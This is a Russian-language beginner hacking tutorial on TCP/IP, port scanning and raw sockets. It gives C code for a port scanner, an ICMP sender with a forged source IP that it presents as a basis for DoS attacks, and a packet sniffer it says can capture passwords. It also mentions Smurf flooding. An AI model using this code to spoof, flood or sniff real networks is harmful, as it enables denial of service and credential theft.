Итак решено....с завтрашнего дня стану хакером, а для начал надо взломать мыло подружки (ну вдруг она кому-то что-то пишет, а я не знаю).... так мыло на yandex.ru ... что там у нас пишут хакеры - любой взлом начинается со сканирования портов... АГА ... хм а что такое порт... да ладно по ходу дела разберёмся... а вот и сканер какой-то - xpider тфу-ты xSpider ... правда он не портов, а безопастности.... ай, да один хер небось - понаписали тут дерьма вского.... а паучёк ничё на drweba похож....небось одна контора пишет... так куда тут нажимать??? ах да адрес надо ввести ... y a n d e x . r u... поехали !
А на следующее утро на каждом третьем около хакерском форум появляется сообщение - я просканировал yandex.ru -там дыра на дыре- что делать дальше? ....и таких по 5-10 за месяц...
Однако в чём-то такие глюки правы - практически любая хакерская атака начинается со сканирования, которое позволяет выявить версии операционных систем, запущенные программы , наличие firewall's, сведения о пользователях а так же многие другие сведения, которые безусловно понадобятся при реальной атаке на цель.
По сути само сканирование портов не является атакой, однако некоторые администраторы болезненно на него реагируют - так что с этим делом надо быть осторожней.
На кого ориентированна эта статья ? Как написанно в заголовке - for dummies - те для начинающих. Однако в хакинге начинающий понятие растяжимое - этот начинающий должен иметь как минимум ОСь Win2k/XP (о nix речь не идёт по причене того что 99% бегинеров сидят под Windows) - если вы всё ещё тусуетесь под Win98/ME - сразу досвидания, здесь вам делать нечего. Кроме того "начинающий" должен обладать некими минимальными знаниями о языке программирования С (все примеры были скомпилированны в Microsoft Visual C++ 6.0). Эти минимальные знания при желании можно получить за неделю - главное хотеть. Кроме того желателен опыт сетевого программирования на сокетах (ссылку на хорошую доку от Криса Касперски смотри в конце статьи).
О чём эта стья ? Основной тематикой статьи являются методы сканирования портов - однако помимо рассмотрения самих методов сканирования так же рассмотрен довольно широкий круг вопросов интресующих именно новичков - IP Spoofing (подделка IP адреса), программы для организация DDoS атак (Distributed Denial of Service - атаки на отказ в обслуживании), работа программ через HTTP прокси, даны базовые сведения о программировании Raw Sockets ("сырые сокеты"). Так же данны необходимые сведения о работе протоколов IP, ICMP и TCP.
Естесвенно эта статья не может рассматриваться как исчерпывающее руководство по работе протоколов - в конце статьи приведнны ссылки на интернет ресурсы, а так же печатную литературу по данному вопросу.
Так же хочется обратить внимание на некоторые вещи - в статье описанны только механизмы сканирования TCP портов (как мне кажется этот материал являются более интересным для тех, кто только решил стать хакером). Возможно о сканированию UDP портов будет посвященна отдельная статья.
В статье будут неоднократно упоминаться некие RFC (Request for Comments - это документы в которых описанны практически все протоколы, используемые в интернете)- их список всегда можно найти на сайте http://www.rfc-editor.org (номера RFC которые особо рекомендуются к прочтению можно найти в конце статьи).
Как мне кажется - работа протоколов это первое с чем должен знакомится начинающий хакер. Если бы все, кто так или иначе связан со сценой, представляли себе работу протоколов, то количество оленей на форумах резко бы упало.
0. Simply scan & sockets...
Обычно, когда пишут о сканерах портов приводят в пример простейший код состоящий из нескольких строчек. Его можно найти на любом около-хакерском форуме. Вот такой сканер я нашёл на одном форуме буквально день назад - хз кто его автор - но суть идеи не меняется из исходника в исходник, поэтому будем считать такой сканер нашей отправной точкой. Вот его код (коментарии без изменений):
#include <stdio.h>
#include <winsock2.h>
int main(int argc, char* argv[])
{
int f_p, t_p;
struct servent *sp;
struct sockaddr_in peer;
WSADATA wd;
/* Предполагается, что при запуске программе будут переданы 3 параметра – IP жертвы, номер начального порта и номер конечного*/
if (argc != 4)
{
puts("[!] nOT eNOUGHT aCTUAL pARAMETERSn");
exit(0);
}
f_p = atoi(argv[2]);
t_p = atoi(argv[3]);
printf("[i] rEADY tO sCAN %s pORTS fROM %d tO %dn", argv[1], f_p, t_p);
/*Заполнение структуры sockaddr_in*/
peer.sin_family = AF_INET;
peer.sin_addr.s_addr = inet_addr(argv[1]);
/*Инициализация библиотеки winsock*/
WSAStartup(MAKEWORD(2, 0), &wd);
puts("[>] sCAN sTARTED");
/*Собственно, сканирование :)*/
for (; f_p <= t_p; f_p++)
{
SOCKET s;
peer.sin_port = htons(f_p);
s = socket(AF_INET, SOCK_STREAM, 0);
if (s == INVALID_SOCKET) {
puts("[!] sOCKET eRROR");
break;
}
if (!connect(s, (struct sockaddr * ) & peer, sizeof(peer)))
{
sp = getservbyport(peer.sin_port, "tcp");
/*Вывод результата на экран*/
if (sp == NULL)
printf("t%-5dtunknownn", f_p);
else
printf("t%-5dt%sn", f_p, sp->s_name);
}
closesocket(s);
}
/*Все, я кончил ;)*/
puts("[>] sCAN fiNiSHED");
return 0;
}
Итак для тех кто не имеет понятия о сокетах - быстрое погружение. В 90% случаев сетевое взаимодействие между программами производится через сокеты. Сокет по определению - это описатель поставщика транспорта. Если вы хотите обмениваться данными через сеть - то вы обмениваетесь ими через сокет. Грубо говоря - сокет это файл из которого вы читаете (принимаете по сети) данные и в который одновременно записываете свои (те отправляете по сети). В nix системах так оно и есть, но win сокет отличается от файла и представлен отдельным типом SOCKET. Для создания сокета следует использовать либо функцию WSASocket, либо socket - по сути эти две функции делают одно и тоже - создают сокет. Префикс WSA у функции соответвует исключительно Windows версии функции - в то время как функции без префикса (те socket) могут применяться одинаково и в Win и *nix системах без какого либо измения - что способствует переносу сетевых программ из одной оси в другую.После того как вы создали сокет - вы можете либо начать слушать сеть на нужном порту - функция bind, либо попробовать присоединиться к порту на другой машине - для этого служит функция connect. Первый параметр которой это собственно наш сокет, второй представляет собой стрктуру sockaddr_in - эта струтура содержит IP адрес и номер порта к которому мы хотим присоединиться. Формат структуры такой:
struct sockaddr_in{
short sin_family;
u_short sin_port;
struct in_addr sin_addr;
char sin_zero[8];
}
sin_family всегда должно быть равно AF_INET - этим мы сообщаем что используем адресацию протокола IP. sin_port представляет собой номер порта (который мы в данном случае хотим просканировать), а sin_addr хранит IP адрес к которому мы и хотим подключиться на заданный порт. Кроме того в структуре присутсвует поле sin_zero - оно выполняет роль простого заполнителя - что бы структура имела нужный размер.Завершить соединение нужно вызовом функции closesocket - единственным параметром которой является наш сокет.
ВСЁ. Стоп... больше не будем заострять наше внимание на этом коде - он приведён здесь что бы понять последовательность его действий - вызовом функции socket создаём сокет, с помощью функции connect пытаемся соединиться с нужным нам портом (в данном случае этот порт получается методом перебора) - если удача - значит порт открыт, если неудача значит закрыт. Всё просто, даже слишком просто... Однако этот метод довольно примитивный, и используют его не часто. Приин тому несколько, но самой главной является легкость обнаружения, также этот метод даёт нам очень мало информации к размышлению - только открыт этот порт или закрыт, а ведь из сканирования портов можно выяснить гораздо больше - например имеется ли на машине firewall и версию операционной системы... поэтому мы будем пользоваться другими методами.
1. 5-уровневая модель TCP/IP
Прежде чем говорить непосредственно о сканировании портов необходимо получить кое какие общие знания о протоколах TCP/IP. Углубляться в это дело я не буду по причине того, что по этой теме писать можно долго - и это уже не в формате журнала. В конце статьи приведены ссылки на хорошие книжки по TCP/IP.
Думаю даже те кто только начинает заниматься сетями заметили, что в сетевом общении используется далеко не один протокол. При этом на каждом уровне каждый протокол выполняет свою функцию. Что бы чётче представлять эти функции было предложенно разделять протоколы на уровни. Например семейство протоколов TCP/IP разбито на 5 абстрактных уровней: четыре програмных и один аппаратный.
Прикладной | Telnet, FTP, HTTP, SMTP... |
Транспортный | TCP,UDP |
Сетевой(Протокола IP) | IP, ICMP, IGMP |
Канальный | Драйверы устройств |
Аппаратный | Определяется конкретным оборудыванием и средой передачи |
Когда вы например вводите адрес сайта в строке Exploera, то он сначала на Прикладном уровне формирует HTTP запрос к сайту, потом этот запрос на Транспортном уровне упаковывается в TCP пакет, который в свою очередь на Сетевом уровне вставляется в IP датаграмму, которая вставляется во фрейм зависящий от среды передачи - и только тогда этот фрейм передаётся по сети. Например при передачи по сети Ethernet осуществляется такой проход от более высоких к более низким уровням.
Данные пользователя - это например данные, которые вы ввели в форму (например login/password ;) Заголовок приложения - это HTTP запрос. Заголовки TCP и IP мы рассмотрим ниже. Заголовок Ethernet для нас не представляет интереса - тк это заголовок, зависящий от среды передачи данных.
Примечание: Помимо рассмотренной 5 уровневой модели TCP/IP существует более часто используемая 7 уровневая модель OSI - но для нас это не играет принципиального значения - тк главное понять что сетевое взаимодействие производится вовсе не по одному протоколу - а результат совместной работы нескольких компонентов.2. Протокол IP
Пакет на уровне IP характеризуется 2 адресами - отправителя и получателя - адрес отправителя добавляется к вашему пакету автоматически модулем протокола IP, однако мы можем обойти этот модуль - и сами сформировать пакет с любым IP адресом. Получатель при этом ничего не узнает и будет думать, что ему действительно пришёл пакет с указанного адреса. Такая атака (подмена адреса отправителя) называется IP Spoofing. Если пройтись по хакерским форумах - то можно часто встретить вопросы о том каким образом слать пакеты с левого IP - это легко (смотри ниже) - а вот получать ответы практически невозможно - потому что ответы атакуемая машина всегда будет отсылать на IP адрес отправителя пакета, который будет извлечён из IP заголовка.
Однако прежде чем продолжать дальше давайте рассмотрим формат IP пакета:
Для начала Сделаю замечание что в литературе о TCP/IP применяется термин октет. Один октет соответвует 8 битам (тк не всегда 1 байт соответвует 8 битам). Хотя в нашем слуае это одно и тоже.
Теперь коротко о полях:
Протокол IP не обеспечивает гарантированную доставку данных - те они могут потеряться где-то в пути и ни получатель, ни отправитель (на уровне протокола IP) никак не сможет узнать что произошло. Для этого служат протоколы более высокого уровня. Например если маршрутизатор отбросил датаграмму (например по причине того, что поле TTL стало равным 0) - то он пошлёт отправителю сообщение протокола ICMP (доставка которого опять же не гарантируется=)), который мы быстренько рассмотрим в следующей части.
3. Протокол ICMP
Протокол ICMP служит для передачи служебной информации в сети и должен входить в любую реализацию семейства протоколов TCP/IP. Быстро взглянем на формат ICMP сообщения:
Первое поле, которое занимает 1 октет (8 бит) обозначет тип сообщения. Для некоторых ICMP сообщений используются различные значения в поле кода. Всего существуют 15 типов ICMP. Например сообщение Эхо запрос (тип 8) - это всем известная команда ping - и Ответ (тип 0) - сообщение которое приходит в ответ на ping.
Контрольная сумма подсчитывается для обеспечения целостности пакета. Для подсчёта контрольной суммы используется вся дейтаграмма целиком (те заголовок ICMP и данные) при этом она рассматривается как последовательность из 16-разрядных целых чисел. При сложении используется двоичная арифметика с представлением отрицательных чисел в иверсионном коде. Полученный результат инвертируется (те его знак меняется на противоположный), что бы значение контрольной суммы было положительно. При расчёте контрольной суммы она изначально полагается равной нулю.
В случае эхо запроса и ответа содержимое содержит ещё 2 обязательных 8-битных кода - идентификатор и порядковый номер (оба служат для идентификации пакета). Все остальное содержимое может заполняться произвольно.
Теперь пришло время воспользоваться кое-каким софтом. Для начала нам понадобится стандартная программа ping и пакетный сниффер. Сниффер - это программа, которая позволяет просматривать данные, которые шлются в сеть. С помощью сниффера - например можно узнать пароли (если они передаются в незашифрованном виде). Нам же сниффер понадобится для изучения принципов работы протоколов. Для Windows я рекомендую использовать сниффер CommView - наглядность и многофункциональность вам гарантируются. Ближе к концу мы напишем свой собственный снифер, пока же придётся использовать "решения от стороннего производителя".
Итак сниффер у нас уже есть. Теперь включим его и установим фильтр только для ICMP сообщений - для CommView необходимо выбрать нужный сетевой адаптер (если их несколько) - зайти на вкладку правила - протоколы и направления - установить галочку Включить правила для IP протокола и поставить галочку напротив ICMP и выбрать действие Захват - после нажать на кнопку Начать захват (Ctrl+S) - всё теперь вы будете видеть только ICMP трафик - остальное нам пока что не интересно.
Теперь идём Пуск-Выполнить - вводим cmd - и оказываемся в консоли. Что ж начнём играться с протоколом ICMP - для примера введите ping mazafaka.ru и посмотрите в окно сниффера - там у вас должно быть 4 пакета в направлении от вас до mazafaka.ru и 4 соответвенно назад (если есть связь - если связи нету - значит ответом будет тишина). Пакеты впринципе одинаковые и мы рассмотрим только 1 пример. Вот такой пакет отправила моя винда (приведён только заголовок ICMP):
Как видите винда посылает в сеть английский алфавит - в подверждение должен прийдти пакет содержащий те же данные, но с типом 0 - Echo reply (и соотвенно с пересчитанной правильно контрольной суммой).ICMP Type (тип): 0x08 (8) - Echo Code (код): 0x00 (0) Checksum (контрольная сумма): 0x475C (18268) - correct Identifier (идентификатор): 0x0100 (256) Sequence Number (порядковый номер): 0x0500 (1280) Данные: 0x00 08 00 47 5C 01 00 05 00 61 62 63 64 65 66 67 68 0x10 69 6A 6B 6C 6D 6E 6F 70 71 72 73 74 75 76 77 61 0x20 62 63 64 65 66 67 68 69 в ASCII виде: ..G\....abcdefgh ijklmnopqrstuvwa bcdefghi
4. Raw Sockets
Что же пришло время что-то написать. Теория без практики ничего не стоит. Для начала мы напишем программу, которая отправляет ICMP пакеты с любого IP адреса - такие утилиты используются для организации DoS атак (об этом подробнее ниже). Для написания демонстрационных программ мы будем использовать VC++ 6. Так же нам понадобится библиотека Winsock2 (появилась в Win2k). Поэтому нам надо дополнительно подключать библиотеку ws2_32.lib к нашему проекту (для этого зайдите в меня Project - Settings - вкладка Link - добавить бибилиотеку в поле Object/Library modules).
Для начала нам потребуются структуры, которые описывают непосредственно IP и ICMP заголовки (потом мы допишем структуры и для других протоколов).
Теперь напишем шаблон сетевой программы, которая использует Raw Sockets// IP Header typedef struct ip_hdr { unsigned char h_len:4; unsigned char ver:4; unsigned char tos; unsigned short total_len; unsigned short ident; unsigned short frag_and_flags; unsigned char ttl; unsigned char proto; unsigned short checksum; unsigned int sourceIP; unsigned int destIP; }IP_HDR; // ICMP Header typedef struct icmp_hdr { unsigned char icmp_type; unsigned char icmp_code; unsigned short icmp_cksum; unsigned short icmp_id; unsigned short icmp_seq; } ICMPHDR;
#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdio.h>
#include <stdlib.h>
// IP Header
typedef struct ip_hdr
{
unsigned char h_len:4;
unsigned char ver:4;
unsigned char tos;
unsigned short total_len;
unsigned short ident;
unsigned short frag_and_flags;
unsigned char ttl;
unsigned char proto;
unsigned short checksum;
unsigned int sourceIP;
unsigned int destIP;
}IP_HDR;
// ICMP Header
typedef struct icmp_hdr
{
unsigned char icmp_type;
unsigned char icmp_code;
unsigned short icmp_cksum;
unsigned short icmp_id;
unsigned short icmp_seq;
} ICMPHDR;
USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
while (size > 1){
cksum += *buffer++;
size -= sizeof(USHORT);
}
if (size){
cksum += *(UCHAR*)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (USHORT)(~cksum);
}
int main(int argc, char* argv[])
{
WSADATA wsd;
//инициализируем winsock:
if (WSAStartup (MAKEWORD(2,2), &wsd) != 0){
printf ("WSAStartup failed: %d\n", GetLastError ());
return -1;
}
....
WSACleanup ();
return 0;
}
Как видите в этом коде я написал функцию для расчёта контрольной суммы - она одинакова для всех протоколов TCP/IP - поэтому в дальнейшем мы будем опускать её код - так же как и определения структур описания для IP и ICMP протоколов.
Первая функция, которую мы вызываем - WSAStartup - знакома тем, кто использовал сокеты. Для остальных скажу что её вызов инициализирует библиотеку winsock. В качестве первого параметра мы указываем желаемую версию библиотеки - 2.2 Если возвращается не 0 значит вызов прошёл нормально - в противном случае на выход.
Завершаются сетевые программы соовтевнно вызовом WSACleanup.
Для общения по сети программы используют сокеты. Однако понимание сокета в класическом смысле (пара ip-адресс - порт) для Raw сокетов условность. Ведь пакеты мы собираем сами - операционной системе остаётся только заслать их драйверу сетевого интерфейса. Сокет создаётся либо функцией WSASocket (либо socket - что впринципе одно и тоже). Однако и тут есть свои нюансы - мы можем создать либо сокет, через который нам придётся отправлять пакет целиком, не пологаясь на операционную систему, либо можем указать, что винда заполнит заголовок IP сама - мы же только будем заполнять данные протоколов вышестоящего уровня (например только ICMP).
Использовав такой вызов мы позволим оси самой заполнять IP заголовок.
SOCKET sock;
//создаём raw сокет указав в параметрах SOCK_RAW и
//в качестве используемого протокола IPPROTO_ICMP
//указав что мы хотим использовать именно ICMP протокол
sock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
А вот так мы скажем, что IP заголовок мы заполним сами (используется параметр IPPROTO_RAW и в качестве примера уже вызов WSASocket) :
SOCKET s;
//создаём RAW socket, указав парметром протокола IPPROTO_RAW
s = WSASocket (AF_INET, SOCK_RAW, IPPROTO_RAW, NULL, 0, 0);
if (s == INVALID_SOCKET){
printf ("WSASocket: %d\n", WSAGetLastError ());
return -1;
}
После завершения работы с сокетом нам надо его удалить - для этого применяется функция closesocket, единственным параметром которой является сам сокет - для предыдущего примера - closesocket (s);Однако если мы решили заняться IP спуфингом зачем нам позволять Windows заполнять IP заголовок, куда она-то вставит правильный IP адрес ? Поэтому мы будем надеятся только на свои силы. Вот текст программы, которая отправляет ICMP сообщение типа 8 - Эхо запрос с любого IP адреса:
#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdio.h>
#include <stdlib.h>
// IP Header
typedef struct ip_hdr
{
unsigned char h_len:4;
unsigned char ver:4;
unsigned char tos;
unsigned short total_len;
unsigned short ident;
unsigned short frag_and_flags;
unsigned char ttl;
unsigned char proto;
unsigned short checksum;
unsigned int sourceIP;
unsigned int destIP;
}IP_HDR;
// ICMP Header
typedef struct icmp_hdr
{
unsigned char icmp_type;
unsigned char icmp_code;
unsigned short icmp_cksum;
unsigned short icmp_id;
unsigned short icmp_seq;
} ICMPHDR;
//ICMP
#define ICMP_ECHO 8
USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
while (size > 1){
cksum += *buffer++;
size -= sizeof(USHORT);
}
if (size){
cksum += *(UCHAR*)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (USHORT)(~cksum);
}
int main(int argc, char* argv[])
{
WSADATA wsd;
SOCKET s;
DWORD bOpt;
int ret;
// IP и ICMP заголовки
IP_HDR ipHdr;
ICMPHDR icmpHdr;
struct sockaddr_in remote;
//расличные переменные в которых будем хранить длинны заголовков и пакета
unsigned short iTotalSize,
iIPSize,
iIcmpSize;
char buf[MAX_PACKETSND],
*ptr;
//инициализируем winsock:
if (WSAStartup (MAKEWORD(2,2), &wsd) != 0){
printf ("WSAStartup failed: %d\n", GetLastError ());
return -1;
}
//создаём RAW socket, указав парметром протокола IPPROTO_RAW
s = WSASocket (AF_INET, SOCK_RAW, IPPROTO_RAW, NULL, 0, 0);
if (s == INVALID_SOCKET){
printf ("WSASocket: %d\n", WSAGetLastError ());
return -1;
}
//мы устанавливаем параметр IP_HDRINCL, что бы иметь возможность самим
//заполнять заголовки IP , а так же любых других "вложенных" протоколов
//в нашем случае это будет протокол ICMP
bOpt = 1;
ret = setsockopt (s, IPPROTO_IP, IP_HDRINCL, (char *)&bOpt, sizeof (bOpt));
if (ret == SOCKET_ERROR){
printf ("setsockopt: %d\n", WSAGetLastError ());
return -1;
}
//пускай в строке szPacket содержится текст пакета для отправки (например алфавит) -
//я имею ввиду необязательные данные для пакеты ICMP
//теперь требуется расчитать полную длинну пакета -
//она складывается из длинны заголовка IP,
//длинны заголовка ICMP и длинны данных
iTotalSize = sizeof (IP_HDR) + sizeof (ICMPHDR) + strlen (szPacket);
iIPSize = sizeof (IP_HDR) / sizeof (unsigned long);
//заполняем IP заголовок:
ipHdr.ver = 4; //версия протокола -IPv4
ipHdr.h_len = iIPSize; //длинна заголовка
ipHdr.tos = 0;
ipHdr.total_len = htons (iTotalSize); //вызовем функцию htons - тк нам нужен сетевой порядок байт
ipHdr.ident = 0;
ipHdr.frag_and_flags = 0;
ipHdr.ttl = 255; //максимум возможно обойти 255 маршрутизаторов
ipHdr.proto = IPPROTO_ICMP; //в качестве протокола верхнего уровня будет использован ICMP
ipHdr.checksum = 0; //изначально поле контрольной суммы полагают равным 0
ipHdr.sourceIP = dwMyIP; //IP адрес отправителя
ipHdr.destIP = dwServerIP; //IP адрес получателя
//расчитаем контролную сумму заголовка
ipHdr.checksum = checksum((unsigned short *)&ipHdr, sizeof(IP_HDR));
//заполняем ICMP заголовок
//поля кроме типа значения не играют
icmpHdr.icmp_type = ICMP_ECHO;
icmpHdr.icmp_cksum = 0;
icmpHdr.icmp_code = 0;
icmpHdr.icmp_seq = 11;
icmpHdr.icmp_id = 123;
//расчитаем контрольную сумму ICMP - для этого нам надо сединить ICMP заголовок и данные
iIcmpSize = sizeof (ICMPHDR) + strlen (szPacket);
ZeroMemory (buf, MAX_PACKETSND);
ptr = buf;
memcpy (ptr, &icmpHdr, sizeof (icmpHdr));
ptr += sizeof (icmpHdr);
memcpy (ptr, szPacket, strlen (szPacket));
icmpHdr.icmp_cksum = checksum ((unsigned short *)buf, iIcmpSize);
//теперь соберём всё в один пакет:
ZeroMemory (buf, MAX_PACKETSND);
ptr = buf;
//добавляем IP заголовок:
memcpy (ptr, &ipHdr, sizeof (ipHdr));
ptr += sizeof (ipHdr);
//добавляем ICMP заголовок
memcpy (ptr, &icmpHdr, sizeof (icmpHdr));
ptr += sizeof (icmpHdr);
//Добавляем данные:
memcpy (ptr, szPacket, strlen (szPacket));
//Думаю понятно что структура sockaddr_in никакой роли не играет
//однако нам потребуется её заполнить что бы воспользоваться функцией sendto
remote.sin_family = AF_INET;
remote.sin_port = htons (0);
remote.sin_addr.s_addr = dwServerIP;
//и наконец, после стольких усилий оотправляем пакет в сеть:
ret = sendto (s, buf, iTotalSize, 0, (SOCKADDR *)&remote, sizeof (remote));
if (ret == SOCKET_ERROR){
printf ("sendto: %d\n", WSAGetLastError ());
}
closesocket (s);
WSACleanup ();
return 0;
}
Для начала нам потребуется ещё раз указать винде, что мы всё же сами хотим заполнять IP заголовок:
bOpt = 1;
ret = setsockopt (s, IPPROTO_IP, IP_HDRINCL, (char *)&bOpt, sizeof (bOpt));
if (ret == SOCKET_ERROR){
printf ("setsockopt: %d\n", WSAGetLastError ());
return -1;
}
После этого нам необходимо правильно заполнить все поля заголовков IP и ICMP - по большому счёту нам надо только указать версию IP, расчитать контрольные суммы, длины, выставить поле TTL - что бы пакет мог ходить через маршрутизаторы, подставить IP адреса получателя и отправителя и указать нужный тип ICMP .... всего-то =))) Но эта руинная работа - и её можно облегчить - заранее написав функции, которые заполняют поля IP и ICMP протоколов.Для преобразования адресов из привычного текстовго формата надо использовать функцию inet_addr - Те этот кусок кода:
ipHdr.sourceIP = dwMyIP; //IP адрес отправителя
ipHdr.destIP = dwServerIP; //IP адрес получателя
можно переписать так, явно указав адреса отправителя (192.168.0.1 и получателя 192.168.0.100):
ipHdr.sourceIP = inet_addr ("192.168.0.1"); //IP адрес отправителя
ipHdr.destIP = inet_addr ("192.168.0.100"); //IP адрес получателя
И наконец сомнения может вызвать вот эта строчка:
ipHdr.total_len = htons (iTotalSize); //вызовем функцию htons - тк нам нужен сетевой порядок байт
Вся фишка в том, что различные компьютеры по разному хранят в памяти данные - а сетевые протоколы универсальны и не зависимы от типа компьютера - поэтому в сетевых протоколах порядок следования байт стандартизирован. Для преобразования из "локального" порядка следования и служит функция htons (что расшифровывается как host-to-network-short).Для отправки данных используется функция sendto:
int sendto (
SOCKET s,
const char FAR *buf,
int len,
int flags,
const struct sockaddr FAR *to,
int tolen
);
Данная функция отправляет через сокет S, данные которые нахоятся в буфере buf, длинной len. Так же в функции используется укзатель на сокет принимающей стороны - to - однако для нас эта структура не играет большой роли, тк все поля мы заполнили сами.
Немного улучшив данный текст можно написать свою программу для осуществления DoS атак - при этом в качестве адреса отправителя можно подставлять случайные адреса.
Наиболее жёсткой атакой из типа ICMP-flood является Smurf атака - смысл её в том что бы передать одним пакетом на широковещательный адрес в сети запрос от имени атакуемой машины - и тогда ответ придёт ото всех машин в сети сразу. Соотношение отправленных/полученных пакетов ессно нехило измениться в пользу полученных. Однако при осуществлении такой атаки есть "небольшие" трудности - роутера не пропускаю широковещательный адрес из своей подсети наружу, а так же некоторые операционки не отвечают на такие запросы (к ним относятся всеми любимые Windows'ы).
5. Sniffer
Что ж как я и обещал выше - теперь мы напишем собственный снифак - код простейшего сниффера прост до безобразия (в коде даны коментарии на самые важные моменты):
#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdio.h>
#include <stdlib.h>
#define SIO_RCVALL _WSAIOW(IOC_VENDOR,1)
int main(int argc, char* argv[])
{
SOCKET sock;
WSADATA wsd;
char RecvBuf[65535] = {0};
DWORD dwBytesRet;
unsigned int optval = 1;
//Инициализируем winsock
WSAStartup(MAKEWORD(2,2),&wsd);
//создаём raw сокет
sock = socket(AF_INET, SOCK_RAW, IPPROTO_IP);
char FAR name[255];
gethostname(name, 255);
struct hostent FAR * pHostent;
pHostent = (struct hostent * )malloc(sizeof(struct hostent));
pHostent = gethostbyname(name);
SOCKADDR_IN sa;
sa.sin_family = AF_INET;
sa.sin_port = htons(0);
memcpy(&sa.sin_addr.S_un.S_addr, pHostent->h_addr_list[0], pHostent->h_length);
//начинаем прослушивать (замечу что сокет нужно явно связать с конкретным
//сетевым интерфейсом - если их несколько, необходимо несколько сокетов)
bind(sock, (SOCKADDR *)&sa, sizeof(sa));
//необходимо использовать на сокете команду SIO_RCVALL для того что бы он мог получать
//все пакеты, передаваемые через интерфейс
WSAIoctl(sock, SIO_RCVALL, &optval, sizeof(optval), NULL, 0, &dwBytesRet, NULL, NULL);
while (1){
memset(RecvBuf, 0, sizeof(RecvBuf));
//принимаем пакет:
recv(sock, RecvBuf, sizeof(RecvBuf), 0);
//теперь у нас в RecvBuf содержится полученный пакет
...
}
//закрываем сокет и завершаем
//использование библиотеки winsock
closesocket (sock);
WSACleanup ();
return 0;
}
Самым важным моментом является то что мы должны явно связать сокет с сетевым интерфесом - те если у вас на машине стоит несколько сетевых карт (и у каждой есть IP адрес) - и вы хотите прослушивать трафик на всех - то вы должны создать несколько сокетов - для каждой карты (вернее для каждого IP адреса). После этого нам надо начать прослушивать сокет - функция bind - и перевести его в режим принятия всех пакетов - вызов WSAIoctl с параметром SIO_RCVALL. После этого нам просто тупо в цикле остаётся полученные пакеты обрабывать... Например таким образом:
#define ICMP_ECHO 8
#define ICMP_ECHOREPLY 0
....
IP_HDR *pIpHeader; //ip заголовок
ICMPHDR *icmphdr; //icmp заголовок
int iphdrlen; //длинна ip заголовка
....
pIpHeader = (IP_HDR *)(RecvBuf);
iProtocol = pIpHeader->proto; //проверим типа пакета
if (iProtocol == IPPROTO_ICMP){
//да это как минимум ICMP пакет
//длинна хранится в 32 битных словах
//поэтому что б получить длинну в байтах умножим на 4
iphdrlen = pIpHeader->h_len * 4;
//получаем смещение до ICMP заголовка
icmphdr = (ICMPHDR*)(RecvBuf+iphdrlen);
if (icmphdr->icmp_type == ICMP_ECHO){
//да тип у этого пакета Echo
....
}
}
Впринципе ничего сложного - только необходимо разбирать нужные нам структуры. Таким образом мы например можем собирать трафик пользователя - вытаскивая из него так нужные нам пароли ... или что нибудь поинтереснее... На этом всё об ICMP протоколе - перейдём к более интересным вещам.
6. Установка и Разрыв TCP Соединений
Набольший интерес из протоколов семейства TCP/IP для нас несомненно представляет протокол TCP - данный протокол играет в интернете огромную роль и недаром его имя присутсвует во всём семействе протоколов. Протокол TCP работает на транспортном уровне и является проктоколом с установкой соединения, в отличии от рассмотренных выше протоколов IP и ICMP. Именно он отвечает за надёжную доставку данных. Пока мы не будем рассматривать структуру пакета TCP, а остановимся на некоторых общих моментах работа протокола.
В протоколе TCP используется технология подтверждения с повторной передачей - суть её в том что получение каждого пакета принимающая сторона должна подвердить пакетом с названием ACK (от англ acknowleedgement). Те схема взаимодействия 2-х программ можно представить так:
Что произойдёт если получатель не получит пакет 1 ? Правильно он не отправит пакет ACK1 - в этом случае отправитель поняв через определённый таймаут, что данные не доставленны повторит отправку. Однако учитывая то что для доставки используется протокол IP (который как мы помним ничего не гарантирует) в результате отправки ACK пакетов может получиться полный бред - некоторые пакеты могут приходить нормально, некоторые позже, некоторые вообще не дойти...
Как же определить какое подтверждение относится к какому пакету ? Для этого у каждого пакета есть порядковый номер (Sequence Number) и номер подтверждения (Aknowledgment Number). Начальные значения этих номеров выбираются случайным (иногда и не очень ;) образом при установке соединения. Теперь рассмотрим непосредственно установку соединения:
Итак соединение установленно, данные переданны... надо как-то его разорвать. Разрыв соединения происходит уже в четыре этапа:
В начале приложение на стороне клиента решает что ему больше ничего от сервера не надо и вызывает например функцию closesocket либо shutdown - после этого отсылается пакет FIN серверу. Сервер получив пакет FIN в свою очередь информирует приложение о том что клиент закрывает содинение и отсылает пакет ACK (который только подтверждает что сервер получил пакет FIN) - после этого серверное приложение может либо отправить какие-то последние данные (строку Goodbay;) либо сразу закрыть соединение. Если сервре шлёт данные - то они передаются обычным пакетом data и клиент должен подтвердить их ACK of data. И только после этого серверное приложение закрывает содинение - те в свою очередь шлёт пакет FIN клиенту. Клиент, получив пакет FIN от сервера, должен отослать пакет ACK - и только тогда соединение считается закрытым и все данные о соединение, которые храняться в памяти удаляются.
Следующая картинка показывает, через какие состояния проходя клиент и сервер в момент установки соединения, непосредственно во время обмена данными и при завершении его:
Кроме такого способа разрыва есть более "варварский" способ - сброс соединения. В этом случае программа, которая хочет сбросить соединение отсылает сообщение RST (Reset) - при получении подобного пакета другая сторона должна немедленно разорвать содинение.
Давайте теперь на основании всего выше описанного попытаемся собрать кое-какие данные в единную картину. Во первых вернёмся к сканеру портов, который был приведён выше - что он делает с точки зрения протокола TCP ? очевидно что при вызове функции connect происходит отправка SYN пакета - и если всё проходит нормально (те прошли пакеты SYN-SYN ACK-ACK) значит соединение установленно. Значит порт открыт. После этого сразу без передачи данных происходит вызов closesocket который закрывает соединение нормальным образом.
